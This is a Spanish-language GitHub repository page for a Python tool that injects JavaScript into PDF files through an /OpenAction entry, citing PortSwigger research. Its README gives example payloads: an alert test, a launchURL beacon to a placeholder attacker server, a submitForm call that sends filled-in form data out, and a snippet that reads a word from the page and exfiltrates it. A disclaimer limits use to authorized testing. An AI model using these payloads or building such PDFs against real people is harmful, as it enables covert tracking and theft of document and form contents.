Skip to content

About

Inyector de JavaScript en PDF basado en https://portswigger.net/research/portable-data-exfiltration

Resources

Stars

2 stars

Watchers

0 watching

Forks

Latest commit

 

History

3 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

Inyector de JavaScript para Archivos PDF

Esta es una herramienta de línea de comandos escrita en Python que permite inyectar payloads de JavaScript en archivos .pdf. El script funciona añadiendo una acción /OpenAction al catálogo del PDF, lo que provoca que el código JavaScript se ejecute tan pronto como el archivo es abierto en un lector de PDF compatible.

ADVERTENCIA: Esta herramienta está diseñada exclusivamente para fines educativos y para ser utilizada en sistemas donde se tenga autorización explícita. El uso no autorizado de esta herramienta contra sistemas ajenos es ilegal.

✨ Características

  • Inyección Limpia: Utiliza la librería pikepdf para manipular la estructura del PDF sin corromper el archivo ni alterar su contenido visible.

  • Payloads Versátiles: Permite inyectar cualquier código JavaScript compatible con la API de Adobe, facilitando desde simples pruebas de concepto hasta complejas técnicas de exfiltración de datos.

  • Fácil de Usar: Interfaz de comandos simple con ejemplos claros integrados en la ayuda del script.

🚀 Instalación y Requisitos

  1. Python 3: Asegúrate de tener Python 3 instalado en tu sistema.

  2. Instalar pikepdf: Esta herramienta depende de la librería pikepdf. Puedes instalarla fácilmente usando pip:

    pip install pikepdf
    
    
  3. Descargar el script: Guarda el archivo pdf_injector.py en tu máquina.

🛠️ Uso

La estructura básica del comando es la siguiente:

python3 pdf_injector.py -i <archivo_entrada.pdf> -o <archivo_salida.pdf> -js "<payload_javascript>"

Argumentos

Argumento Atajo Descripción Requerido
--input -i El archivo .pdf original que se usará como base. Sí
--output -o El nombre del nuevo archivo .pdf que contendrá el payload. Sí
--javascript -js El código JavaScript que se inyectará, entre comillas. Sí

💡 Ejemplos de Payloads para -js

A continuación se muestran diferentes payloads que puedes usar, desde los más simples hasta los más avanzados.

1. Alerta Simple (Prueba de Concepto)

Ideal para una prueba rápida y confirmar que la inyección funcionó.

-js "app.alert('Hola desde JavaScript!');"

Compatibilidad: Funciona en la mayoría de los lectores, incluyendo los visores de navegador como el de Chrome.

2. Petición a un Servidor (Out-of-Band)

Fuerza al lector de PDF a realizar una petición web a tu servidor. Útil para confirmar si un archivo fue abierto.

-js "app.launchURL('http://tu-servidor.com/pdf_abierto');"

Compatibilidad: Requiere un lector de PDF de escritorio (ej. Adobe Acrobat Reader) y la aprobación del usuario en una advertencia de seguridad. No funciona en visores de navegador.

3. Exfiltración de Datos de un Formulario

Si el PDF es un formulario, este payload enviará todos los datos completados a tu servidor.

-js "this.submitForm('http://tu-servidor.com/captura_de_datos');"

Compatibilidad: Requiere un lector de PDF de escritorio y la aprobación del usuario.

4. Exfiltración de Contenido Específico

Lee una palabra específica del contenido del PDF y la envía a tu servidor.

# Envía la 10ª palabra (índice 9) de la 1ª página (índice 0)
-js "var palabra = this.getPageNthWord(0, 9); app.launchURL('http://tu-servidor.com/?p=' + palabra);"

Compatibilidad: Requiere un lector de PDF de escritorio y la aprobación del usuario.

Nota sobre la Compatibilidad

La ejecución de JavaScript en PDFs depende en gran medida del software que se utilice para abrirlos.

  • Visores de Navegador (Chrome, Firefox, Edge): Son muy seguros y restrictivos. Generalmente, solo permiten acciones inofensivas como app.alert(). Las funciones que acceden a recursos externos (app.launchURL, submitForm) son bloqueadas por seguridad.

  • Lectores de Escritorio (Adobe Acrobat Reader): Tienen más capacidades y pueden ejecutar payloads más complejos. Sin embargo, casi siempre mostrarán una advertencia de seguridad al usuario antes de realizar una acción potencialmente peligrosa, como contactar un servidor externo.

About

Inyector de JavaScript en PDF basado en https://portswigger.net/research/portable-data-exfiltration

Resources

Stars

2 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages